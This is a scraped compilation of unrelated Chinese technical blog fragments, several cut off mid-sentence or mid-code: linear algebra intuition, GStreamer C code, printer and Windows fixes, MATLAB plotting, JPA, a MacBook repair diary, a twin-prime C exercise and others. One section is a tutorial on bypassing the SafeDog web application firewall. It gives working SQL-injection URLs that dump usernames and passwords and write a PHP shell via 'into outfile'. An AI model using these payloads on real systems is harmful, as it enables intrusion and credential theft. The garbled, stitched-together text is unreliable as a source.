如果你觉得自己当初线性代数也是学的一团雾水,不妨接着往下看看,绝对让你能够透彻的理解线性代数!
线性代数的本质
先一句话先把最重要的东西说了,什么是线性代数?
线性代数的本质,其实是一种高维空间上的变换。
这句话虽然简单,但这句话具体什么意思呢。别急,我们引入一个很直观的例子来理解这个数学表达。
拿二维空间中的小纸片人为例来说,小人在此:
我对一个小人进行位移,拉伸的一系列线性操作,它可以变成另一个样子:
这就是线性代数要做的一些事情。我对这个小人做的一些操作,就叫矩阵,也就是对这个对象的一些操作或者说映射。
所以乍一看,这个问题好像并没有什么特别难的,为啥线性代数这么难呢。
主要是很多的基本概念和实际的物理含义没有挂钩。
接下来,我们就来讲讲线性代数中的各个名词和物理含义的联系。
行列式
首先第一个概念就是矩阵的行列式。还记得刚开始学习线性代数的时候,老师上来就咔咔给我们一顿求解矩阵的行列式。
二阶矩阵的行列式是下面的这个公式,大家应该依稀还记得求矩阵的行列式的求法(不是定义),对角线相乘再相减:
然而,我还记得一个学期的线性代数学完了,我连第一个问题都没有解决。那就是,老师,咱们为什么要求一个矩阵的行列式?
为什么?
为什么?
在这里,我就来告诉大家,为什么要求解矩阵的行列式!
还是举一个例子,这次我们把上面的小纸片人换成一个面积是1*1的小方块:
我们用一个矩阵对它进行一顿操作,就得到了下面的样子:
可以看到,经过了图中所示的矩阵的变换之后,我们之前的小方块变成了大一点的矩形,面积变成了3*2,也就是6。
而我们再算算图中这个矩阵的行列式的数值,也是6。
行列式的数值和矩阵变换之后的面积一样!
朋友们,这不是巧合!
我们可以再试验一个矩阵变化:
我们用另一个矩阵对原来的小方块进行一顿操作,可以看到之前的小方块变成了一个斜一点的矩形。
变换后的斜方形的面积是1,而图中这个矩阵变换的行列式的数值也是1。
行列式的数值和矩阵变换之后的面积仍然一样!
这!其实就是行列式的非常重要的物理意义!它其实就是矩阵变换带来的面积变化。
我第一次看到这个概念的时候,觉得醍醐灌顶,原来行列式的意义可以这么理解!
同时感慨,曾经我求解了不下一千个矩阵的行列式,原来自己根本不知道自己在求些什么东西!
当然,上面的定义是不准确的,对于二维来说,行列式代表的就是面积变化,三维来说,行列式表征的就是体积变化了,推之高维空间亦然。这样就严谨一些了。
逆矩阵
现在我们应该知道了矩阵是一种变换,想想上面的矩阵变换,我们可以把一个小方块变成一个斜斜的方块。
那么一定存在另一种矩阵的映射,能把这个斜斜的方块变回原来的小方块,是不是?
所以逆矩阵的物理意义就出来了,如果有个矩阵能把经过变换之后的斜斜的这个方块:
还原成为之前的小方块:
那么它就是原来那个矩阵的逆矩阵。
可以这么理解,逆矩阵就是一种对原矩阵的逆向变换。
对于逆矩阵,在数学上,有这么个表达:
A 是一个矩阵, A-1是A 的逆矩阵,它们相乘会得到一个单位矩阵。
结合物理意义我们就能理解这个公式了:一个物体经过了A矩阵的变换,在经过A 的逆矩阵的变换,就等于保持不变(单位矩阵就是保持不变)。
简单来说一句话,变过去又变回来,那就是没有变。
这就是逆矩阵的性质。
矩阵的秩
如果说上面的东西还只是有点意思的话,那接下来讲的东西就要进入高潮了。
由上面的论述,我们知道了逆矩阵是啥东西——就是一种反向变换。
一切看似没啥问题。
但是问题来了。我们喜欢折腾的数学家不久发现,有些矩阵变换没法求逆变换!
这是为什么呢?
这还要从矩阵的行列式说起。
我们从上面知道了,行列式表征的一种面积的变化。但是我们会发现有很多矩阵的行列式的数值是0。
啥意思呢?
很不严谨地举一个例子,想想我们上面提到的那个小方块。
现在有一种变换,让这个小方块的面积变换后变成零了。你觉得这是一个什么变换?
不知道你猜出来没(反正我一开始是没有头绪),只有一种可能:
https://download.csdn.net/download/houxiaoni01/13770958
#include <gst/gst.h> #include <glib.h> #include <glib/gprintf.h> #include <glib-object.h> #include <gmodule.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #include <stdlib.h> #include <fcntl.h> #include <fcntl.h> #define SOCKET_NAME "/tmp/ipc_qt_gst.socket" int init_p(gchar *file_path); void start_p_ex(); int start_p(gchar *file_path); void pause_p(); void recover_p(); void release_p(); //command enum SIG { INIT=0x02, START=0x03, PAUSE=0x04, EOS=0x05, RELEASE=0x06 }; enum SIG sig; GstElement *pipeline; GstElement *source, *demux, *videobox; GstElement *videoqueue, *h264parse, *videodecoder, *fbsink; GstElement *audioqueue, *audioparse, *audiodecoder, *alsasink; GMainLoop *loop; int sockfd = -1; GstBus *bus; guint bus_watch_id; gint64 record_pos = 0; static void *rpc_with_qt() { g_print("
整体来说,还是有不少人对打印机这样的设备了解还是有限的,毕竟打印也不是我们天天都要使用的,那么有时候在我们打印的时候弹出另存为的窗口,无论我们怎么操作都打印不了,那么下面我来说下打印机打印弹出另存为,打印弹出另存为xps/pdf怎么办。
1、当我们打印弹出另存为的对话窗口时,我们先关闭窗口,返回到桌面找到开始菜单并右键。
2、在右键开始菜单选项后,弹出的上方选项列表中,我们找到一个控制面板管理选项,并点击它。
3、然后,在我们点击控制面板这一管理选项后,进入到面板中,我们在面板下方的列表功能找到设备和打印机选项,且点击它。
4、接着,在点击进入到打印机的管理面板后,我们找到打印机,然后右键,在弹出选项中,我们点击设置为默认打印机选项。
5、再接下来,我们再返回文件所在的位置,并进行重新打印一下,进入到打印的管理面板。
6、最后,我们在打印面板中,这里要注意了,在面板中的第一个打印机选项中,我们要选择与我们电脑连接的打印机,然后再点击打印即可。
又到一年论文季,没想到临近投稿的我居然会被图片的清晰度打败,需要子母图的时候,我直接使用powerpoint进行拼接,多次png+另存为,图已经糊出了新高度,那种超级糊图在论文里应该是投不出去的吧。。。但是,有一天我突然坐在电梯上,就悟了,终于体会到矢量图和位图在使用中的巨大差别,具体详见添加链接描述,在积极寻找可以拼接的文件的软件的同时,我突然想起来,matlab是可以作图中图的…这样能减少后期的很多问题。
so,举一个简单的栗子,有三条线
syms x; x=0:0.05:1; y1=x.^2; y2=1-x.^2; C6=0.2+x-x; plot(x,y1,'b*',x,y2,'r-',x,C6); 很正常的一个图:
如果需要指定位置来绘制图中图呢?
axes(‘position’,[0.4 0.7 0.5 0.7]); 代表小图的位置,matlab中以figure区域左下坐标为(0,0),右上为(1,1)
所以该段代码中的小图左下角对应距整体长度*0.4处(从左起),整体高度的0.7处(从下起,且可以认为是坐标值),而子图的宽度为原有的0.5,高度为原有的0.7,这样子图的位置和大小就唯一确定啦,大家可以试试
x=0:0.05:1; y1=x.^2; y2=1-x.^2; C6=0.2+x-x; figure plot(x,y1,x,y2,x,C6); axes('position',[0.4 0.7 0.5 0.7]); plot(x,y1,'b*',x,y2,'r-',x,C6); xlim([min(0.6),max(1)]); 子图框成图后依然可以自行移动位置,更改大小
但能够发现,子图线性和颜色变为默认,与母图不符合:
这时可以重新设置一下
plot(x,y1,,x,y2,,x,C6); ↓ plot(x,y1,'b*',x,y2,'r-',x,C6); 这样在另存为的时候,上面就有这个子母图啦
倘若需要给子图加label,title和grid,方法同母图
若在子图中含有多条曲线且不能合并,可用hold on—hold off
另一种方法:
clf reset t=0:0.1:10; plot(t,exp(-10*t).*sin(20*pi*t)) h2=axes('Position',[0.5 0.5 0.3 0.3]) %比如插入x\in [1 2]之间的函数变化 tt=1:0.1:2; %这里在绘图前直接定义了tt的范围 plot(tt,exp(-10*tt).*sin(20*pi*tt))
刚跟 @乱码 讨论了下seajs的加载原理, 做了下手记, 记下来... 啦啦啦
define添加到到seajs.cache里里#723 => 检测检测下依赖+返回值整个 #746 => 页面use触发(主入口,并留下回调埋点)#795 => 执行mod.load#813 => 分析所有依赖如果没有加载则加载#557 => fetch是加载js文件 => 如果全部加载完成执行mod.onload => onload负责运行回调(use里的埋点,CA又转回来了##798) => 回调里又运行所有依赖模块的exec#662 => exec里负责查看define的模块是是否被运行#668,如果没有运行则建立一个require的临时fn当param运行运行#677 并把返回结果打在mod的exports上上#704, 反返回给回调那那处理#710 #803, 这也是怎么能use([1,2,3],function(1,2,3){})的的原因 => 到这里已经加载完所有的依赖了,且拿到回调了#805 => 如果有callback还不运行等着干啥呢? #807
其实就一句话:
定义->缓存(依赖+整个fn)->use触发->判断依赖->判断所有依赖+js文件是否加载成功->判断每个模块的fn是否被运行->拿到每个模块的返回值->执行回调, 当然其中的心酸只有玉伯知道,比如 模块依赖模块,url解析 等... 那个提前预加载preload跟依赖相比就略显轻松了
注: 以上代码行号为2.2.1版本.
1. Spring Data JPA实体概述
JPA提供了一种简单高效的方式来管理Java对象(POJO)到关系数据库的映射,此类Java对象称为JPA实体或简称实体。实体通常与底层数据库中的单个关系表相关联,每个实体的实例表示数据库表格中的某一行。
2. Spring Data JPA实体管理器
2.1 实体管理器概述
实体管理器(EntityManager)用于管理系统中的实体,它是实体与数据库之间的桥梁,通过调用实体管理器的相关方法可以把实体持久化到数据库中,同时也可以把数据库中的记录打包成实体对象。
2.2 实体管理器的常用方法
2.2.1 实体的四种状态
在此之前我们要先了解实体的状态及其转换,见下图
JPA实体生命周期有四种状态
新建状态(New):对象在保存进数据库之前为临时状态。此时数据库中没有该对象的信息,该对象的ID属性也为空。如果没有被持久化,程序退出时临时状态的对象信息将丢失。
托管状态(Managed):对象在保存进数据库后或者从数据库中加载后、并且没有脱离Session时为持久化状态。这时候数据库中有对象的信息,改对象的id为数据库中对应记录的主键值。由于还在Session中,持久化状态的对象可以执行任何有关数据库的操作,例如获取集合属性的值等。
游离状态(Datached):是对象曾经处于持久化状态、但是现在已经离开Session了。虽然分离状态的对象有id值,有对应的数据库记录,但是已经无法执行有关数据库的操作。例如,读取延迟加载的集合属性,可能会抛出延迟加载异常。
删除状态(Removed):删除的对象,有id值,尚且和Persistence Context有关联,但是已经准备好从数据库中删除。
状态名
作为java对象存在
在实体管理器中存在
在数据库存在
New
Y
N
N
Managed
Y
Y
Y
Datached
N
N
N
Removed
Y
Y
N
用一段程序来示范
@Transactionalpublic voidsave(){//New 状态
Task t = newTask();
t.setTaskName("task" + newDate().getTime());
t.setCreateTime(newDate());//Managed状态
em.persist(t); //实体类t已经有id t.getId();
t.setTaskName("kkk"); //更新任务名称,这时,如果提交事务,则直接将kkk更新到数据库//Detached状态 事务提交或者调用em.clear都直接将实体任务状态变为Detached
em.clear();
t.setTaskName("kkk"); //更新数据不会更新到数据库//Removed状态
em.remove(t);
}
2.2.2 实体管理器的常用方法
对应于实体的四种状态,实体管理器有四种常用的方法,分别是:persist / merge / clear / remove,结合状态图,可以判断,对于不同状态下的实体,各个方法操作结果会有不同:
最近两天因为公司电脑键盘坏了需要送修,备用电脑还没到手,拿自己的 MacBook 顶上两天。结果发现自己电脑一阵子不用,Shift 键粘连严重,日常打字经常把「?」打成「/」,换行变成发送。本来想搜索下 Shift 键粘连的解决办法,结果发现了 MacBook 键盘服务计划。
适用于 MacBook、MacBook Air 和 MacBook Pro 的键盘服务计划
计划主要针对 2015 - 2019 的 MacBook 部分机型,在遇到部分键盘问题后可免费更换。唯一条件是自设备零售销售之日起 4 年内,我是 17.02 购入的 Macbook 13' ,还在服务周期内,于是线上预约了周六的王府井天才吧,准备周六送修。
11.21 中午 13:30 赶到了王府井 APM,因为 iPhone 12 Pro Max 和 mini 发布,人一如既往地多,有一条长队等着 Max 取现货。
到二层天才吧,Genius 快速核实了信息,表示可以支持键盘、触控板、电池全部免费替换。我:???(用了快 4 年的电脑一夜之间变新电脑了?)
快速核实了信息,留下电脑和朋友吃饭去了。
晚上 8 点多,接到王府井店一个小姐姐电话,告诉我电脑主板有一块被腐蚀,换键盘可能存在风险,造成检测不准或无法开机。如果出现问题,主板维修需要自费。希望我来做决定。快速评估了下风险,决定还是换了算了。明确后回复如果有啥问题再给我打电话。
大概 10 点多,小姐姐又打来电话,心里一紧,「卧槽,不会这么背吧」打算接受坏消息,结果告诉我已经都更换完了,检测也没问题,但需要有预期,未来可能会出现异常。当下没问题就还好。约了周日到店里取电脑。
11.22
吃完早饭又赶到王府井,估计是上午,人还没有那么多,B1 报了信息拿电脑,前面一排队小哥也是换了键盘,看起来出问题的人还挺多。
拿到电脑后 Genius(B1 的是吗?)拿着 iPad 给我看里面那块腐蚀(长毛)的照片,大概在键盘 3、4、w、e 键位附近,估计是早古年间饮料溅到键盘里了。验完了电脑背着回家。
回到家把开电脑升级到 Big Sur,感觉又像是换了一台新电脑。原本还打算把电脑以旧换新,换成新款 M1 处理器的 Pro,现在看起来,还是再等两年吧。
今天分享绕过安全狗的方法,各位帽子兄弟研阅。
PS:测试请断网,据说log会上传,哈哈
熟悉的页面,没错绕过它,核心方法:Mysql注释绕过
环境:
001 利用数据回显获取用户信息
找出回显字段
http://127.0.0.1/killdog/dog.php?id=-1/*!50000union/*!50000/*!(select*/~1,2,3)
http://127.0.0.1/killdog/dog.php?id=-1/*!50000union/*!50000/*!(select*/~1,2,user/*!50000(*/))
002 获取当前表名
http://127.0.0.1/killdog/dog.php?id=-1/*!50000union/*!50000/*!(select*/~1,user/*!50000(*/),table_name from information_schema.tables where table_schema=database/*!50000(*/))
003 获取当前表的所有列名
http://127.0.0.1/killdog/dog.php?id=-1/*!50000union/*!50000/*!(select*/~1,user/*!50000(*/),column_name from information_schema.columns where table_name=’users’)
004 获取当前表的数据
http://127.0.0.1/killdog/dog.php?id=-1/*!12322union/*!11111/*!(select*/~1,2,group_concat(username,0x7e,password) from/*!`users`*/)
005 Getshell
http://127.0.0.1/killdog/dog.php?id=-1/*!50000union/*!50000/*!(select*/1,2,’<?php phpinfo();?>’ into outfile ‘dir’)
法律声明:本文仅供参考,希望能对大家提高网络安全意识有所帮助,若需转载请注明出处.
任务书含以下方面的内容:
(一)
设计(论文)主要内容:
OpenCV
是一个开源的跨平台计算机视觉库,可实现图像处理和计算机视觉
方面的很多通用算法。
OpenCV
给人脸识别提供了一整套图像处理以及图像与模
式分析函数,可迅速完成人脸的识别和检测。本研究希望利用
OpenCV
库,开发
一个人脸识别系统,能够辨认出
6-8
个人脸,并有相应的反应。
(二)
要求完成的主要任务:
1
、查阅不少于
15
篇的相关资料,其中英文文献不少于
2
篇,完成开题报告。
2
、通过对资料的阅读,深入了解
OpenCV
库以及人脸检测与识别的相关算法。
3
、利用
OpenCV
库实现人脸检测与识别算法。
4
、完成不少于
2
万英文(
5000
汉字)印刷符的英文文献翻译。
5
、完成毕业论文(设计说明书和相关图纸)
。
(三)
进度安排
第
1-2
周:查阅相关文献资料,明确研究内容,了解研究所需硬件和软件。确定
方案,完成开题报告。
第
3-4
周:安装软件,学习熟练应用软件
OpenCV
。
第
5-7
周:学习
OpenCV
库中的相关函数。
第
8-10
周:利用
VS2010
软件编程,熟练掌握
OpenCV
的各种相关功能。
第
10-12
周:
OpenCV
程序的修改,调试。
第
13-14
AD09
拼板制造
一、拼板前准备
1
、
拼板前全面检查,确保源单板文件正确性,包括
DRC
检查和字符大小和位置。
2
、
设置板参考原点
<
选择栅格
: 0.254mm /2.54mm >
,这在特殊粘贴时很实用。
3
、
设置板载关键
IC
的
SMT
光学定位点
(
光点直径
1.0mm
,
点周围非遮蔽区域扩展
1.0mm)
。
无
BGA
可以不用此项。
4
、保存一份源文件,以备拼板发生致命错误时选用。
这一点非常重要!
二、拼板阶段
1.
选择所有
Edit+Select+All > E+S+A
2.
Ctrl+C
复制
注,一定选中原点坐标作为参考点。
【这句话的实际操作,先按下
Ctrl+C
,然后选中坐标
原点,左键点击。
】
3.
删除所有
DEL->ENTER
【对应键盘的
Delete
键,再
Enter
键】
;
4.
选择菜单项中的特殊粘贴命令
<
快捷方式首次安装默认情况下无效
>
Edit =>Paste Special
今天客户反应说他电脑,每次开机都报一个错误,错误如下图所示:
目前没有可用的Internet连接。要查看已保存在您计算上的Internet内容,请单击“脱机工作”。单击“重试”,再连接一次。查看原因是,只要电脑开机后,没有连接网络就会跳出来如下错误。
二、解决办法
1、看报错信息,应该是IE中Internet设置有问题。之前处理过这种问题,都是Internet选项中,宽带拨号设置导致的这个问题。
打开IE浏览器,找到右上角“工具”,选择“Internet选项”。
2、找到“连接”选项,查看拨号和虚拟专用网络设置中,也没有拨号设置,也没办法将其属性,设置为从不进行拨号连接。
3、查看网络连接中,只有一个本地网卡和无线网卡,没有拨号等虚拟连接。
那这个开机就跳出来“脱机工作”该如何解决呢?
答案:关闭Offline Files服务。
4、首先使用 Win+ R组合快捷键,打开运行对话框,然后键入:services.msc命令,完成后点击确定。
5、接下来,在服务中,找到名为“Offline Files“然后再该项目上鼠标右键,然后选择”属性“,如下图所示。
脱机文件服务在脱机文件缓存中执行维护活动,响应用户登录和注销事件,实现公共 API 的内部部分,并将相关的事件分配给关心脱机文件活动和缓存更改的用户。
6、最后将Offline Files脱机文件服务的启动类型设置为【禁用】,服务状态改为【停止】,完成后,点击下面的【确定】保存即可。完成的配置如下图所示。
7、将Offline Files服务关闭后,再次重新启动电脑,再也不会弹出脱机工作报错了。
手机号使用什么类型的数据存储?
使用int,只能最多存储42亿的数,而手机号是11位,达到了百亿。如果我们使用bigint又会浪费空间,所以我们使用字符串存储
使用Excel编辑外部数据(如“工作表”“文本文件”“网页”等)时,为了方便可不必将其复制、粘贴到当前工作表,只需要使用“导入”功能,就能实现外部数据的输入。
导入Excel表格数据 如图所示为设计好的“一季度业绩快报”,如果想要在其他工作表中引用该工作表,可以直接将该工作表导入到其他工作表中即可。
具体步骤为:在目标工作表中选择“数据”选项卡 - 点击“获取数据”,在下拉列表中将鼠标移动到“自文件”,并在右侧列表中选择“从工作薄” - 根据要导入文件的存放路径选择文件,并点击“导入” - 在“导航器”选择要导入的表格,点击“加载”下拉列表选择“加载到” - 在弹出的“导入数据”对话框中选择数据的存放位置为“现有工作表”,并在工作表中选择要存放数据的首个单元格 - 点击“确定”按钮,完成Excel表格数据导入。
导入文本文件数据 如图所示为设计好的“销售记录”文本文档,如果想要在其他工作表中引用该文本文档内容,可以直接将该文本文档直接导入到目标工作表中即可。
具体步骤为:在目标工作表中选择要存放数据的首个单元格 - 选择“数据”选项卡 - 点击“获取数据”,在下拉列表中将鼠标移动到“自文件”,并在右侧列表中选择“从文本/CSV” - 根据要导入文本的存放路径选择文件,并点击“导入” - 点击“加载”下拉列表选择“加载到” - 在弹出的“导入数据”对话框中选择数据的存放位置为“现有工作表” - 点击“确定”按钮,完成文本文档的数据导入。
导入网页中表格 如果需要在表格中引用某网页中的表格,可以在打开网页后选取相应的表格执行导入即可。下面我们以导入下图矩形框所标记的“龙虎榜单”表格为例来进行说明。
具体步骤为:在目标工作表中选择要存放数据的首个单元格 - 选择“数据”选项卡 - 点击“获取数据”,在下拉列表中将鼠标移动到“自其他源”,并在右侧列表中选择“自网站”,弹出“从Web”对话框 - 在URL框中输入网址 - 点击“确定”按钮 - 在“导航器”对话框右侧点击“Web视图”- 上下滑动鼠标找到要导入的表格(此例为“龙虎榜单”),点击鼠标选中表格 - 点击“加载”下拉列表选择“加载到” - 在弹出的“导入数据”对话框中选择数据的存放位置为“现有工作表” - 点击“确定”按钮,完成网页表格的导入。
孪生素数
相差为2的两个素数称为孪生素数。例如,3与5,41与43等都是孪生素数。设计程序求出指定区间上的所有孪生素数对。区间上限和下限由键盘获取。
程序运行示例如下:
please input c,d(c>2):
10,200↙
(11,13)
(17,19)
(29,31)
(41,43)
(59,61)
(71,73)
(101,103)
(107,109)
(137,139)
(149,151)
(179,181)
(191,193)
(197,199)
total=13
输入格式:
区间上限和下限的输入格式: "%ld,%ld"
输出格式:
区间上限和下限的输入提示信息:"please input c,d(c>2):\n"
孪生素数的输出格式:"(%ld,%ld)\n"
所有孪生素数对的总数输出格式: "total=%d\n"
#include#includeint isPrime(int num){ int i; for(i=2; i<=sqrt(num); i++) { if(num%i==0) { return 0; } } return 1;}int main(){ int i,temp,a,b,total=0; temp=2; printf("please input c,d(c>2):\n"); scanf("%ld,%ld",&a,&b); for(i=a; i<=b; i++) { if(isPrime(i)) { if(i-temp==2) { printf("(%ld,%ld)\n",temp,i); total++; } temp=i; } } printf("
ios app 在前台时,receive 收到消息创建本地消息,无限执行,怎么判断,消息为标准的透传消息;
plus.push.addEventListener('receive',function(msg){
if(plus.os.name.toUpperCase()=="IOS")
{
console.log((typeof(msg)=="object"));
console.log(msg.payload);
if(msg.payload.indexOf("nolocalMsg")>-1)
{
var gtpush = msg.payload;
gtpush = gtpush.substr(10);
plus.push.createMessage(msg.content,gtpush,{title:msg.title})
}
}
else
{
}
},false);
一条推送消息:打印出的log 是这样的
[LOG] : true
[LOG] : nolocalMsgBDA9F1E19A334BAC900E5A3F9CF86260
[LOG] : true
[LOG] : nolocalMsgBDA9F1E19A334BAC900E5A3F9CF86260
[LOG] : true
[LOG] : nolocalMsgBDA9F1E19A334BAC900E5A3F9CF86260
[LOG] : true
[LOG] : nolocalMsgBDA9F1E19A334BAC900E5A3F9CF86260
[LOG] : true
[LOG] : nolocalMsgBDA9F1E19A334BAC900E5A3F9CF86260
[LOG] : true
[LOG] : nolocalMsgBDA9F1E19A334BAC900E5A3F9CF86260
[LOG] : true
[LOG] : BDA9F1E19A334BAC900E5A3F9CF86260